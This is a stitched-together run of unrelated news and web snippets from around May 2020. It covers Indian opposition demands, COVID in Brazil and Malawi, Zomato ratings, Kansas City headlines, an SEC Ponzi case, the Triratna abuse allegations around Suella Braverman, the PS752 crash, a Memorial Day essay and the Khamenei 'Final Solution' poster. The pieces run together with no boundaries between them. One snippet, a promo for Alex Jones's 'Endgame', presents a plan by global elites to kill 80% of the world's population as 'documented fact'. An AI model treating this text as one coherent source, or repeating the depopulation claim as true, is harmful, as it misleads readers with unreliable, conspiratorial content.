Co-authors are Yuanyuan Tang, Ph.D.; Paul S. Chan M.D., M.Sc.; and Brahmajee K. Nallamothu, M.D., M.P.H. Nallamothu is the Editor-in-Chief of Circulation: Cardiovascular Quality and Outcomes. This manuscript was reviewed by an external guest editor: Dennis T. Ko, M.D., M.Sc. Disclosures and funding sources are listed in the manuscript.

The American Heart Association is a relentless force for a world of longer, healthier lives. We are dedicated to ensuring equitable health in all communities. Through collaboration with numerous organizations, and powered by millions of volunteers, we fund innovative research, advocate for the public's health and share lifesaving resources. The Dallas-based organization has been a leading source of health information for nearly a century. Connect with us on heart.org, Facebook, Twitter or by calling 1-800-AHA-USA1.
Congress leader Rahul Gandhi on Friday said there would be an "economic devastation" if the poor were not helped urgently with cash and free rations and if MSMEs were not supported by the government.

Addressing a meeting of opposition parties, he also asked why the lockdown was being eased when the coronavirus cases were still rising.

"Lockdown had two objectives: halting the disease and preparing for future management of the disease. But today transmission is rising. We are still opening the lockdown. Does this mean an ill thought out lockdown imposed earlier hasn't yielded results?



"Lockdown has destroyed crores. If urgently they (the poor) are not given Rs 7,500 a month, not provided free ration, not helped and if MSMEs are not supported now, there will be economic devastation," Gandhi said.

He said the government's economic package does not acknowledge that people need cash, not credit.

"It's our duty to raise this issue. It's not about parties. It's about the country. If we don't raise it now lakhs will seep into poverty, he added.

The opposition meet was attended by 22 parties and they discussed the situation arising out of the COVID-19 pandemic. They have put forth 11 demands before the central government, including direct cash transfer of Rs 7,500 per month to families outside the Income Tax bracket for six months.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
It is a lethal cocktail: the coronavirus pandemic, a meat processing facility and vulnerable workers with little access to clean water or health services.

Brazilian indigenous leaders say it was just a matter of time before COVID-19 spread among native people.

Among the nations rapidly climbing death toll  it has surpassed 21,000  are 88 indigenous people in the Amazon, according to a tally by the indigenous organisation APIB that includes Health Ministry figures and information from local leaders. The count, reported by Reuters, is likely higher as indigenous names arent always used in hospital admissions.

Relatives cry during the funeral of Kokama Chief Messias Martins Moreira, who died of COVID-19, during his burial service at the Park of Indigenous Nations in Manaus, Brazil. Credit:AP

Brazil clocked 1001 deaths on Saturday (AEST), 1188 on Friday and 1179 on Wednesday. The total number of infections, at 330,890, has put it beyond Russia and in second spot behind only the United States on the pandemic ladder. Testing is still in early stages, suggesting the true number may be higher still.
For the New World Order, a world government is just the beginning. Once in place they can engage their plan to exterminate 80% of the world's population, while enabling the "elites" to live forever with the aid of advanced technology. For the first time, crusading filmmaker ALEX JONES reveals their secret plan for humanity's extermination: Operation ENDGAME.

Jones chronicles the history of the global elite's bloody rise to power and reveals how they have funded dictators and financed the bloodiest warscreating order out of chaos to pave the way for the first true world empire.

Watch as Jones and his team track the elusive Bilderberg Group to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III.





to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. Learn about the formation of the North America transportation control grid, which will end U.S. sovereignty forever.





Discover how the practitioners of the pseudo-science eugenics have taken control of governments worldwide as a means to carry out depopulation.





View the progress of the coming collapse of the United States and the formation of the North American Union.

Never before has a documentary assembled all the pieces of the globalists' dark agenda. Endgame's compelling look at past atrocities committed by those attempting to steer the future delivers information that the controlling media has meticulously censored for over 60 years. It fully reveals the elite's program to dominate the earth and carry out the wicked plan in all of human history.

Endgame is not conspiracy theory, it is documented fact in the elite's own words.




Food-delivery app Zomato on Thursday announced that the app will now have separate ratings of restaurants for dining and delivery. The company said in its blog that two experiences are entirely different for the customers and hence it should be denoted differently on the app. So when you start using the app again, you will find two different rating systems- the red one for delivery and black for dining.

Announcing the same, CEO Deepinder Goyal wrote on Twitter saying, "Earlier this year, we proposed a change in our restaurant rating system. Based on the unanimously positive feedback, we are getting rid of the unified rating for a restaurant and splitting it into a separate rating for Dining and Delivery." In a blog post, the company revealed that it will not disclose how the ratings are calculated as it is their most precious intellectual property"

Zomato has rolled out its new rating system in India, United Arab Emirates, and Lebanon. The company might roll out the feature in other countries too but they have not revealed anything about it so far.

"You will now see two ratings on the restaurant page telling you how users have rated food ordering and dining in experience with the chosen restaurant. The color scheme of black and red is retained throughout our app for ease of identification. The ratings will be contextual, i.e. when you are browsing restaurants to order food, you will only see the delivery rating indicated by red stars; similarly, when you are planning to go out, you will only see the dining rating indicated by black stars," Riddhi Jain, global head for new products, Zomato said in a blog post.

Zomato also shared the special measures it has taken to weed out fake or paid reviews along with an improved rating system. The company strives to bring genuine and trustworthy reviews and are trying to eradicate the bad actors in the system, who post reviews with nefarious intentions or demand free meals and cash in return for a 5-star review.

"With the most recent change in our algorithm, we have further beefed up our systems significantly (aided by machine learning) to reflect updated experience ratings, and to identify and remove fake reviews comprehensively. Our restaurant partners work extremely hard to ensure that every guest has a memorable experience. We don't want the hard work of our honest partners to get undermined due to a few bad actors in the system," Jain added.

Zomato will add a banner to label the restaurants who demonstrate "a repeated pattern of solicitation". This would help the users know that suspicious activity has been carried forward with respect to reviews by the restaurant.
Check KC Corona Test Map

Where to find a coronavirus test in KC Metro area residents concerned they may have contracted COVID-19 can now access a single website to get information about COVID-19 testing sites in both Kansas and Missouri, thanks to Comeback KC, a public service communications campaign developed to provide a single source of information on COVID.

Life Is A Gamble OR Take Your Chances In The Dotte

Hollywood Casino at Kansas Speedway hopes to reopen May 25 KANSAS CITY, KS. (KCTV) --- Hollywood Casino announced Thursday that it is hoping to reopen on Monday, May 25. The casino posted a statement on its Facebook page, saying the reopening depends on state and local regulatory approval.

Tiger Coronavirus Trouble: Lawsuit Claws At MU Tuition

University of Missouri among colleges sued for tuition refunds after coronavirus shutdown COLUMBIA, Mo. - An anonymous student at the University of Missouri is suing the four-campus system, seeking a refund for spring semester tuition and fees after classes moved online in March because of the coronavirus outbreak. The class-action lawsuit was filed Friday in Boone County circuit court on behalf of all students at the UM system's four campuses.

Rock Chalk Broke

KU estimating $120 million shortfall in coming fiscal year as a result of COVID-19 pandemic Story updated at 2:54 p.m. Thursday The University of Kansas is facing a budget shortfall that amounts to nearly 26% of its general operating budget - or $120 million - for fiscal year 2021, Chancellor Douglas Girod said Thursday. The staggering figure is attributed to direct losses in research dollars, event fees and student housing [...]

No Going Back: 2nd Wave Doesnt Scare Prez Trump

US Won't Close Again if Hit by 2nd Coronavirus Wave, Trump Says WHITE HOUSE - U.S. President Donald Trump on Thursday placed more pressure on states to reopen for business despite continuing concerns about the coronavirus. "I don't think people are going to stand for it" in states that do not resume normal activities quickly, the president told reporters as he toured a Michigan automotive plant repurposed to produce ventilators for COVID-19 patients.

Prez Trump Wont Do As Told

Trump doesn't wear coronavirus mask to Ford plant, after being told he should President Donald Trump on Thursday did not wear a mask for coronavirus protection while touring a Ford Motor Co. plant in Michigan, despite a state law and company policy requiring facial coverings there. Trump was visiting Ford's Rawsonville Components Plant in Ypsilanti, which has a policy of requiring masks there.

Biden Risks Black Vote

Joe Biden asks Amy Klobuchar to undergo VP vetting process, report says Sen. Amy Klobuchar could be Joe Biden's surprise veep pick - the Democratic presidential nominee has asked her to undergo rigorous vetting before potentially joining his ticket, according to a new report.

Sayonara, Hong Kong!!!

China security law 'could be end of Hong Kong' Pro-democracy activists say they fear "the end of Hong Kong", after China announced plans for a new security law. The US said the move could be "highly destabilising" and undermine China's obligations on Hong Kong's autonomy. China's National People's Congress will on Friday debate the law, aimed at banning sedition and subversion.

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Checkout Corona Reading

Libraries provide curbside service, quarantine books KANSAS CITY, MO (KCTV) -- Everyone is trying to adapt to this ever-changing world. Now, libraries are finding ways to keep up the exchange of stories new and old. It's not the stacks and not the usual way to browse for light reading, but Angel Elo and other people pulling in and out of the parking lot of the Red Bridge Mid -Continent Public Library have missed their books.

Kansas City Inks With Caution

Kansass City tattoo parlor reopens with new safety measures Tattoo parlors are allowed to reopen with restrictions in Kansas City, Missouri.KMBC 9 talked to an artist at Midtown Tattoo about the changes they're making, and why he says customers should feel safe.Before a needle touches skin, everything is sanitized. "We're already wiping things down with like Madacide...

Serving Shawnee Tradition

Old Shawnee Pizza Gets an Outdoor-riffic Makeover - In Kansas City In moments of crisis, what's the one thing that can unite us all? According to William Walker, it's pizza. Walker-who owns Old Shawnee Pizza-comes from a long line of pizza makers. His dad, Joe, opened Pizza Shoppe way back in 1969. While other restaurants are struggling to regain diners, Old Shawnee Pizza has been consistently...

22 year-old actresscatches up on the classics whilst we check pop culture, community news and info from across the nation and around the world tonight . . .And this is thefor right now . . .
The Securities and Exchange Commission today announced that it has filed an emergency action and obtained a temporary restraining order and asset freeze against a California-registered investment adviser and his entities to halt an ongoing Ponzi scheme targeting senior citizens in Southern California.

According to the SEC complaint, from at least January 2018 through the present, Paul Horton Smith, Sr. offered and sold securities in his company, Northstar Communications, LLC, and used his investment advisory firm, eGate, LLC, and insurance and estate planning company, Planning Services, Inc., to market the securities. Smith and Northstar, through free workshops and other investor events, allegedly promised investors guaranteed annual interest payments between 3 percent and 10.5 percent if they invested in so-called "private annuity contracts." In reality, as the complaint alleges, Smith did not invest the funds raised in any securities and instead used new investor funds to pay investor returns in a Ponzi-like fashion. According to the complaint, Northstar raised more than $5.6 million from at least 35 investors and paid out $5.2 million to those investors as interest payments or principal returned. Smith also allegedly used investor funds to settle investor fraud lawsuits.

The SEC's complaint, filed on May 19 and unsealed late yesterday in the U.S. District Court for the Central District of California, charges Smith, Northstar, eGate, and Planning Services with violating the antifraud provisions of the federal securities laws. The complaint seeks injunctions, return of ill-gotten gains plus interest, and civil penalties.

On May 20, in addition to granting a temporary restraining order and an asset freeze, the court ordered an accounting and appointed a temporary receiver. A hearing is scheduled for June 3, 2020 to consider continuing the asset freeze, issuance of a preliminary injunction, and appointment of a permanent receiver.

The SEC's Office of Investor Education and Advocacy has issued investor alerts on frauds targeting seniors and Ponzi scheme red flags. Additional information is available on Investor.gov and SEC.gov.

In a parallel action, the United States Attorney's Office for the Central District of California announced on May 21 that it filed a criminal complaint against Smith.

The SEC's complaint charges the defendants with violating the antifraud provisions of Section 17(a) of the Securities Act of 1933 and Section 10(b) of the Securities Exchange Act of 1934 and Rule 10b-5 thereunder, and Smith and eGate with violating Sections 206(1) and 206(2) of the Investment Advisers Act of 1940.

The SEC's investigation was led by David S. Brown, with assistance from Dora Zaldivar, and was supervised by Finola H. Manvelian in the SEC's Los Angeles Regional Office. The litigation will be led by John B. Bulgozdy and supervised by Amy Jane Longo.

The SEC appreciates the assistance of the United States Attorney's Office for the Central District of California, the Federal Bureau of Investigation, and the California Department of Business Oversight.
A Wicklow woman rejected an offer to evacuate from south- east Africa so she could help prevent the spread of Covid-19 in one of the world's poorest countries.

Eleanor Carty (30), from Roundwood, had the option of being evacuated from Malawi where she works with Irish aid agency Concern Worldwide - but instead she decided to stay and help with their life-saving COVID-19 prevention work.

'My hope is that by staying, I can contribute in any way that I can,' said Eleanor.

'Ever since finishing university, I have wanted to be one of those people working for Concern, to assist the extreme poor anywhere in the world to experience major improvements in their lives. For that reason alone, I was never going to leave Malawi when there was already a need for this kind of work even before coronavirus arrived here.

'This line of work is not a job, it's a vocation. It's in you and becomes part of you. The focus of humanitarian and development workers is always to help and I am here trying to do that.

'I was also very confident in my family's dedication to the guidelines and restrictions that the Irish government put in place - so I had comfort in the belief that they will hopefully be safe during the pandemic.

'Both my parents work in the medical industry. My dad, Justin, works in the medical technology sector and my mum, Sarah, works in a hospital setting - so they are both very aware of the dangers of COVID-19 and the importance of diligently adhering to the measures.'

Eleanor is an expert in humanitarian logistics and emergency management and is a European Union-funded volunteer with the charity. Like so many, she is reliant on online communication tools like WhatsApp and Zoom to stay in touch with her friends and family in Ireland - which included a special video call on May 2 when her family had hoped to witness her brother, Cormac, getting married.

'The wedding was postponed until October, but it is possible that I could still be here in Malawi, depending on the situation then,' she said.

Malawi currently has 56 confirmed cases and three deaths as of May 11, but there are fears that many more are going undetected in a country that has 20 ventilators with a population of over 17 million people.

Eleanor's role with Concern includes organising aid movement, human resources, security and information technology needs.

She and her colleagues are helping raise awareness of the virus amongst the poorest communities and how they can prevent themselves from getting it, such as by washing hands and good respiratory hygiene. They are also providing washing facilities, soap and other essential items.

'The needs here in Malawi are so great in terms of vulnerability to COVID-19 but also in terms of access to healthcare,' said Eleanor.

'People have pre-existing conditions like HIV, tuberculosis, malaria and malnutrition and it is unclear at this time if these pre-existing conditions will increase a person's vulnerability, or risk and by how much.

'Living conditions are such that many individuals live in communities where households are very close together and you could have multi-generational families living in each dwelling.

'There may or may not be running water in each house. Frequently there is a stand of taps in the centre of the community where residents go with buckets to fill and bring back to their home.'

Eleanor said a donation of 50 can supply enough hand washing soap and detergent for washing clothes for a whole month for 25 families in Malawi.

'Any donation will go to good use to fight COVID-19 in these vulnerable communities and a little goes a long way,' she said.

Anyone who wants to support Concern's work or learn more about it can do so at Concern.net.
As always with the Trump administration, to be sure, there are conflicting voices internally. Some officials dislike arms control and would like to sever all agreements that limit U.S. options. But theres a camp that has always favored more engagement with Moscow, led by President Trump himself, and I suspect they are driving policy. Administration officials dont say it explicitly, but my guess is that the net effect of the administrations actions this week is a tactical tilt toward Russia.
Suella Braverman is one of the bright new stars in the Conservative firmament.

This talented woman from a modest background has enjoyed an unprecedented rise since her election as an MP in 2015. As Attorney General, she is the most senior government law officer, responsible for providing ministers with legal advice and supervising the Crown Prosecution Service.

Indeed, Mrs Braverman, who was raised in North London by parents of Indian origin who emigrated to Britain from Kenya and Mauritius, has made waves by claiming that judges are encroaching on parliamentary sovereignty, with decisions like that of the Supreme Court last year which declared Boris Johnsons prorogation of Parliament unlawful.

And she may yet rise higher. For this week in the Commons, the Prime Minister acknowledged there were too few women in his Cabinet, and he is poised to remedy the situation.

Mrs Braverman  capable, on the Right of the Tory spectrum and a champion of Brexit  would be an obvious candidate for promotion. But there is a fly in her ointment.

The position of Attorney General is quintessentially about judgment  the ability to weigh evidence soberly and dispassionately. So, it is concerning to find that, in one aspect of her life, she exhibits  according to critics  a worrying lack of sound judgment.

Attorney General Suella Braverman, pictured in February 13 2020

The problem centres on her membership of a Buddhist sect called Triratna. For years, she has attended meetings and retreats organised by the group, and at one point was considering ordination: joining its inner core.

No problem there, one might think. A fresh perspective on public life is always healthy, and Mrs Braverman, 40, a Cambridge and Sorbonne-educated QC, is the first Buddhist Attorney General, an office created in 1243. A prime example of modern, inclusive Britain.

Except that Triratna has been the subject of very serious allegations of historic sexual abuse. Indeed, an internal survey of congregants only two years ago confirmed it continues to cause disquiet among members. And the hurt felt is still not resolved, despite the appointment of a safeguarding officer and apparent attempts to address it.

This sect is the creation of Dennis Lingwood, a British-born guru known to his thousands of adherents around the world as Sangharakshita. It is immensely wealthy, owning properties around Britain worth tens of millions of pounds, and has proved a magnet for young, educated people in search of enlightenment.

But there is a darker side: Triratna has admitted it has a long history of systematic sexual abuse of members.

For decades this group had tolerated a history of sexual exploitation, chiefly vulnerable young men used as playthings by Lingwood and other senior members. The result has been long-lasting mental trauma and ruined lives. And it is thought to have contributed to one young mans suicide.

The horrors of Lingwoods perverted reign have seeped out steadily over the years. Yet this toxic abuser, who marketed himself as a bringer of Buddhist enlightenment to the West, is still venerated by followers.

When he died in 2018 aged 93, more than 1,000 members gathered for his funeral at Triratnas headquarters, a country house in Herefordshire formerly known as Coddington Court.

Triratnas headquarters, a country house in Herefordshire formerly known as Coddington Court

Casual bystanders would have imagined they were witnessing the passing of a saint, so elaborate and solemn was the ceremony.

In fact, this display of religious reverence was, critics argue, one gigantic exercise in denial. And in continuing to attend Triratna events  at the innocuously named London Buddhist Centre in the capitals East End and other locations  Mrs Braverman shows herself as being prepared to look the other way when it comes to the stories of those who suffered.

Sangharakshitas behaviour was consistent with a narcissist or a psychopath, says victim Mark Dunlop. He didnt see people as people, but things. If he didnt get what he wanted, he stopped caring about the person. What Lingwood wanted from Mr Dunlop was sex.

After deserting from the British Army in India shortly after the end of World War II, Lingwood, son of a French polisher from Tooting, South London, took off in search of enlightenment, communing with teachers and picking up Buddhist philosophy.

He returned to Britain in the 1960s and established a sect, capitalising on the free love hippy culture of the time. His was a mish-mash philosophy, mostly Buddhist but infused with ideas borrowed from psychoanalyst Sigmund Freud and philosopher Friedrich Nietzsche.

At its centre was a belief that men were more open to spiritual enlightenment than women. Mothers, argued Lingwood, held their sons back, turning them into neurotics. Lingwood, a homosexual, championed Greek love  that of an older man for a boy.

Better, he taught, that male and female members of his sect, originally called Friends of the Western Buddhist Order (FWBO), lived largely apart.

So, it became a mostly segregated organisation, with men and women living separately and working for low wages in different branches of the charitable businesses  such as oriental trinket and wholefood shops  created to finance its activities.

This suited Lingwood, who now enjoyed unrestricted access to young men, some of them teenagers and many of whom (if not most) were heterosexual. Some were vulnerable, having had difficult childhoods. On their arrival at retreats, Lingwood persuaded his victims to engage in gay sex to free themselves from unhealthy inhibitions. Fresh recruits attending retreats would find they had been chosen to sleep in Lingwoods room  where they found him waiting in bed. Triratna admits Lingwood slept with at least 25 men over a 20-year period, but the true figure is unknown.

Mr Dunlop, from Rochester, Kent, was 22 when he joined the FWBO in 1972. He was spotted by Lingwood soon after starting meditation classes at a centre in North London and was subjected to intense grooming.

I told him I hated having sex with him, but he said I must persevere, says Mr Dunlop.

Sangharakshita got people to think he was on their side. But there was also bullying. If you objected to what was happening, senior members accused you of being superficial and spiritually insincere. I was naive rather than terribly vulnerable. I thought a Buddhist monk would not do such things and that his followers wouldnt let him get away with it. But they did.

Mr Dunlop, who is heterosexual, paid a heavy price. Expelled from the order in 1989 after objecting to his treatment, he was unable to settle in a relationship or job. Now 70, he is still suffering post-traumatic stress. It ruined my life, says Mr Dunlop.

What would he say to Mrs Braverman? I would ask her why she is a member, he says. I would like to know how she feels about it  the controversy.

For her part, Mrs Braverman declined to answer any of the questions put to her by the Mail.

What we do know, however, is that in 2018 a group of Triratna members worried about its history asked followers about sexual abuse.

Of the 423 anonymous respondents, 55 said they, or someone they knew, had experienced sexual misconduct by Lingwood or other order members, not only in the past but also recently. Victims were not solely male, but included vulnerable women, too.

I know of several cases and the details are awful, wrote one of those questioned. I was sexually abused by older order members, wrote another member of more than 15 years standing.

Hampstead Buddhist temple, shows the venerable Sthavira Sangharakshita, in 1966

The report shows that as recently as 2018, the sects handling of sex abuse allegations was a source of concern for members

Summing up responses from the 423 people involved with Triratna, it concludes: The majority feel more needs to be done to adequately respond to allegations and prevent future misconduct.

So how does Mrs Braverman  a tough-talking, pro-Brexit politician on the Right of the Tory Party  fit in with Triratna, a substantially Left-leaning group? To put it simply, she is a mitra, a friend of the order. To qualify as a mitra, applicants must undergo years of teaching, based substantially on Lingwoods beliefs, which still dominate the sect.

Sources in the group say the Attorney General even considered being ordained as a full order member, which involves committing a substantial part of ones life to its work.

She appears to have dropped the idea as her political career blossomed, culminating in her election as the MP for the safe Tory seat of Fareham in Hampshire in 2015.

But her political success appears to have been cause for celebration for Triratna. After she was appointed Attorney General, the orders one-time communications officer, Vishvapani Blomfield, posted on his Facebook page: This is the first time there has been a Buddhist incumbent. In fact, it is the first time there has been a Buddhist cabinet minister.

He then removed the entry, later explaining: I deleted the post because I reflected that her [Mrs Bravermans] appointment raises many issues and I neither wanted to discuss them fully nor leave the impression I was endorsing her. He went on: I met Suella once and found her very pleasant, but I do not endorse her politics and cannot comment on her Buddhism.

Meanwhile, Triratna continues to flourish, with branches in more than 30 countries. Besides income from meditation and other courses, it benefits from bequests from members.

Since Lingwoods death, the sect claims to have confronted its past, establishing internal safeguarding officers in its branches and has promised full cooperation with the police should someone make a criminal complaint.

After a lifetime wrestling with the psychological fallout of his Triratna membership, Glenn Stevens wanted to do just that.

Born in South London in 1969, Mr Stevens experienced a deeply troubled childhood, with a mother suffering from mental illness and an alcoholic father. Aged 16, in search of help, he started attending the Croydon Buddhist Centre and was immediately targeted by a senior order member who, he says, sexually abused him. He hooked me in. I was vulnerable, ripe for it, easy pickings, says Mr Stevens. He was regarded as a great spirit who had stayed on this earth to help others rather than going off into the cosmos.

I have no problem with different kinds of sexuality, but I was heterosexual and was paralysed when this man slept with me. At first, he showered me with love. But he could also be a bully.

After quitting the order, Mr Stevens descended into drug and alcohol abuse, leading an aimless and unhappy life. I couldnt process it, he says. I didnt realise how deep it went.

Mr Stevens is now drug and alcohol-free and leading a happier life with his wife in Portugal. But he is still traumatised and wants Triratna to pay for psychotherapy  something he says the order has refused. He complained to police but was told his allegations are time-barred. This, he says, allows the cover-up to continue.

There were other casualties at the Croydon centre.

One was Matthew, a talented Oxford graduate who joined the FWBO in 1984 and stayed for three years. So traumatised was Matthew by his experience that he needed psychotherapy and eventually committed suicide.

Dennis Lingwood, the British-born guru known to his thousands of adherents around the world as Sangharakshita

Nina Davies is a former Triratna member who has set up a Facebook site for order members who have been affected by their involvement in the sect.

There was big denial, she says. There was a big division between men and women. And thought control on a massive scale.

And what of Mrs Braverman?

I heard about her a few years ago. She is a Tory and it was remarkable that she was there, as most people were Left-wing. She asked for ordination. She had been on ordination retreats. I am concerned about her judgment, given her position.

Here, we should note Lingwood once made a grudging apology  of sorts. He stressed that his victims appeared to be willing at the time, but he regretted any hurt caused.

A former member of the order tells the Mail: Triratna deflect and deny, and they are still doing it. The implications of admitting it all would be enormous. If Sangharakshita is condemned for his abuse, the whole thing falls apart. He is the centre of it all, even in death.

Michelle Haslam, a clinical psychologist, was involved with Triratna on and off between 2015 and 2019. She explains: A newcomer is considered ignorant and spiritually asleep, which sets up the longerterm member to be in a position of power.

I was told by order members that only the Croydon centre was affected by problems a long time ago and that Triratna is now heavily safeguarded.

I noticed sexual advances being made by male order members in training towards young women attending meditation classes, and I myself experienced this. At the same time, it also appeared that the male order members believed that heterosexual relationships were neurotic and a hindrance to the spiritual path.

Munisha, formerly known as Catherine Hopper, is Triratnas new internal safeguarding officer. When asked about Mrs Bravermans membership of an organisation with such a dark history, she replies: A great many politicians are members of the Catholic church and the Anglican church, which have also had massive scandals.

But what of her spiritual mentors appalling acts? Were they not criminal in some cases?

Certainly, we would say they were unethical.

Why, then, is Sangharakshita still venerated?

Im sorry, Im not going to get into that, says Munisha.

When asked if sexual abuse was a persistent theme of the group, she admits: It is, unfortunately.

But why?

Im going to hang up now because I dont have more time.

When asked about Lingwoods behaviour previously, a spokesperson said: Sangharakshita has never been accused, charged or convicted of any crime.

Meanwhile, at the London Buddhist Centre, where Suella Braverman practises her faith, there is a shop and library where you can pick up a free postcard, depicting Lingwood, as a keepsake.

He may be dead. But in the minds of those who deceive themselves about this once dangerous predator, hes still very much alive.

Since publication of the article, a representative of Triratna has contacted us to say:

It is not the case that Triratna has brushed the accusations levelled against Sangharakshita, under the carpet. In fact, we have investigated what happened and fully acknowledge that his sexual behaviour of several decades ago was unwise and sometimes unethical.

We recognise that some peoples connection with Sangharakshita produced lasting difficulties, and we are doing what we can to both support them and resolve these.

We have also instituted rigorous Safeguarding procedures in all our activities. The wellbeing of all those involved with Triratna is our highest priority.

Sangharakshita remains Triratnas founding teacher because his exposition of traditional Buddhist teachings has proved effective for the worldwide Buddhist community he founded.
The head of Ukraine's investigation team has said that evidence from the passengers on board flight PS752 suggests that something had happened to the plane even before it was hit by the missiles fired at it by the Revolutionary Guard.

Alexander Ruvin, Director of the Kyiv Research Institute of Forensics, says evidence shows that passengers were out of their seats before the two missiles hit it shortly after taking off from Tehran's International Imam Khomeini Airport on January 8.

In an interview with Glavcom on May 19 Ruvin said at the time of the crash the plane had not reached the altitude of 8,000 meters when seat belts are allowed to be unfastened. However, he added, finding the bodies of the passengers on the crash site with no seats means there was already a state of panic on the plane and the passengers had left their seats.

It is not clear why Ruvin says people left their seats before the first missile hit. They might have done so between the two impacts since the second missile hit 30 seconds later.

There is reason to believe that [something] was burning inside and black smoke was getting out through holes," Ruvin said and added that the team did not find the lower part of the plane and all but four of the seats.

The head of the Ukrainian investigation team also alleged that much of the wreckage of the aircraft and other things found at the scene, including some phones and a tablet, had been removed by the Iranian authorities immediately after the crash.

"Maybe someone wrote a text message [about what was happening]," he said and called the Iranian authorities' handling of the situation and the confiscation of all gadgets found at the scene "unprofessional".

Decryption of the flight recorders of the plane may shed light on the situation on the plane before it crashed but so far Iran has held on to the boxes and refuses to hand them over to any third party who can decode the information.

Iran's Revolutionary Guard fired two missiles at Ukraine's flight 752 on January 8 in the wake of Iran's missile attacks on Iraqi military bases hosting U.S forces. Iranian authorities took responsibility for downing the plane and killing 176 passengers and crew members onboard after three days of denials and later claimed that 'human error" was responsible for firing missiles.

The interview of the leader of the Ukrainian investigation team has been published amid heightened tensions over the crash between Ukraine and Iran as well as other countries whose citizens were killed in the incident.

Canada, the UK, Sweden, Afghanistan and Ukraine are working together to hold Iran accountable for the crash, Ukrainian Foreign Minister Dmitry Kuleba said in an interview with RBC-Ukraine on May 18.

The Iranians are very difficult negotiators, but we are not burning bridges and are trying to come to an agreement. But we have red lines," Kuleba said.

We communicate with each other. Accordingly, if we all fail to reach an agreement with Iran, we will go along a long, but verified and effective way of collective prosecution of Iran wherever possible for the crime that was committed, he added.

Ukraines Deputy Minister of Foreign Affairs Yevhen Yenin has said that the countries involved in the matter will be forced to appeal to the U.N. International Court of Justice if negotiations with Iran reach an impasse. "This is not only about Ukraine, but about a united front of the states of Canada, Great Britain, Sweden, Afghanistan and Ukraine, he said.
[Originally published in May 2009, Chuck Colson's essay on Memorial Day remains as timeless as it was when he first wrote it. Though the occasion is a U.S. holiday, Colson's application of biblical truth is universal.]

This Memorial Day we remember those brave men and women who gave their lives in defense of our most precious freedoms.

And we would do well to pray for the members of our armed forces who are placing their lives on the line even as I speak. They long to accomplish their mission and return home to their loved ones. Above all, they yearn for peace.

So do we allespecially since our nation has been at war for years now. So I think it's important to think about how our longing for permanent peaceunattainable though it is in this worldpoints us toward a world in which it is possible.

This longing was illustrated by two teenage boys I know. The older boy received a DVD player for his birthday. He was allowed to pick several movies to go with it, and chose nothing but war films: The Patriot, Saving Private Ryan, and The Sands of Iwo Jima. Over the next few days, he and his brother were engrossed in the action, cheering whenever the good guys finally whipped the bad guys, relieved when peace broke out.

Most of us react exactly the same way to real-life wars. Those of us who are old enough certainly remember the elation that swept the country after Germany and Japan surrendered, ending World War II. And it doesn't seem that long ago when General Schwarzkopf led the massive victory parade down Pennsylvania Avenue as the country celebrated the end of the first Gulf War. We rejoiced that the enemy was defeated, but we also hoped that peace would last.

Well, peace never has lasted. Within five years of the end of World War II, we were fighting in Korea. Then in Vietnam. And now, we face the sobering prospect of a long, protracted struggle against radical Islam in Iraq, Afghanistan, and maybe even Pakistan.

Which leads to an interesting question: Why is it that humans desire good and noble things we cannot possibly have?

Considering this question, C. S. Lewis came to a fascinating conclusion. If our deepest desires cannot be satisfied in this world, he wrote, then we must have been made for another world.

The Scriptures confirm that we are designed for a different world, and they urge us to focus on the world which is yet to come. As Paul told the Colossians, "Set your mind on things above, not on things on the earth" (Colossians 3:2).

Sadly, our inner longing for the good guys to win, for true peace and justice, has often led to tragic efforts to obtain them on earth, including dangerous utopian schemes that ultimately destroyed millions of lives. And that's why it's so vitally important that our children understand where these longings come from.

We need to teach our kids that while we should certainly fight for justice and freedom here on earth, we must do so in the knowledge that our true desire for peace and justice will only be satisfied in heaven.

One day, as the prophet Isaiah wrote, men will "beat their swords into plowshares, and their spears into pruning hooks; nation shall not lift up sword against nation, [and] neither shall they learn war anymore."

Until then, however, we honor those who fought our wars and sacrificed for a peacetransitory though it isthat is also a precious reflection of the peace which is to come.

Photo credit: Unsplash/Aaron Burden

Chuck Colson's daily BreakPoint commentary airs each weekday on more than one thousand outlets with an estimated listening audience of one million people. BreakPoint provides a Christian perspective on today's news and trends via radio, interactive media, and print. Originally published: May 25, 2009
Netanyahu Says Khamenei Threat Of 'Final Solution' Evokes Nazi Slogan

Radio Farda May 21, 2020

The Israeli Prime Minister Benjamin Netanyahu on Wednesday said the Iranian Supreme Leader Ali Khamenei's "threat" to apply the "Final Solution" to the Israeli-Palestinian conflict "is reminiscent of the Nazis' ultimate solution for exterminating the Jews."

"He should know that any government that threatens to destroy Israel will find itself in danger of extinction". Netanyahu wrote on his official Twitter feed in Hebrew on Wednesday.

Netanyahu was referring to a poster published on Khamenei's official Twitter account in English which said, "Palestine will be freed. The Final Solution: Resistance Until Referendum." The poster is a drawing that shows people celebrating at the Temple Mount compound in Jerusalem after apparently capturing it from Israel as a Palestinian flag is raised over the Al-Aqsa Mosque.

Khamenei's official Twitter account promptly replied to Netanyahu by saying "eliminating the Zionist regime doesn't mean eliminating Jews". "We aren't against Jews," the tweet said declared that abolishing Israel means that Muslim, Christian and Jewish Palestinians can choose their own government and "expel thugs like Netanyahu".

In another tweet on the same day, Khamenei said Iran has registered "a proposal for a referendum to choose the type of government for the historical country of Palestine" with the United Nations. "We say the true Palestinians with Palestinian roots of at least 100 years, and Palestinians living abroad, [should be able to] choose the government of Palestine," the tweet said.

Ali Motahari, an outspoken conservative lawmaker occasionally contradicting Khamenei whose term ended yesterday, in a tweet supported Khamenei's slogan of "Resistance until Referendum" in a tweet on Thursday.

"The slogan of 'Resistance until Referendum' which has been suggested for the Qods Day is a clever and fair slogan. The people who have been forced out of their land and Arab, Iranian, Turk and other Muslims say they will resist the occupation [of Palestine] until a government is chosen by all the people of Palestine, including refugees," Motahari wrote in his tweet without making any reference to the controversies that have arisen from the term "final solution".

The term "Final Solution of the Jewish Question" was a euphemism used by Nazi Germany's leaders to refer to genocide against European Jews.

The U.S. Secretary of State Mike Pompeo also reacted to the controversial tweet and said the United States condemns "Khamenei's disgusting and hateful anti-Semitic remarks" that have no place on Twitter or on any other social media platform. Pompeo, however, said the United States knows that "Khamenei's vile rhetoric does not represent the Iranian people's tradition of tolerance".

Germany's foreign ministry also condemned the poster in a statement sent to the Jerusalem Post. Berlin is usually reserved in criticizing the Islamic Republic.

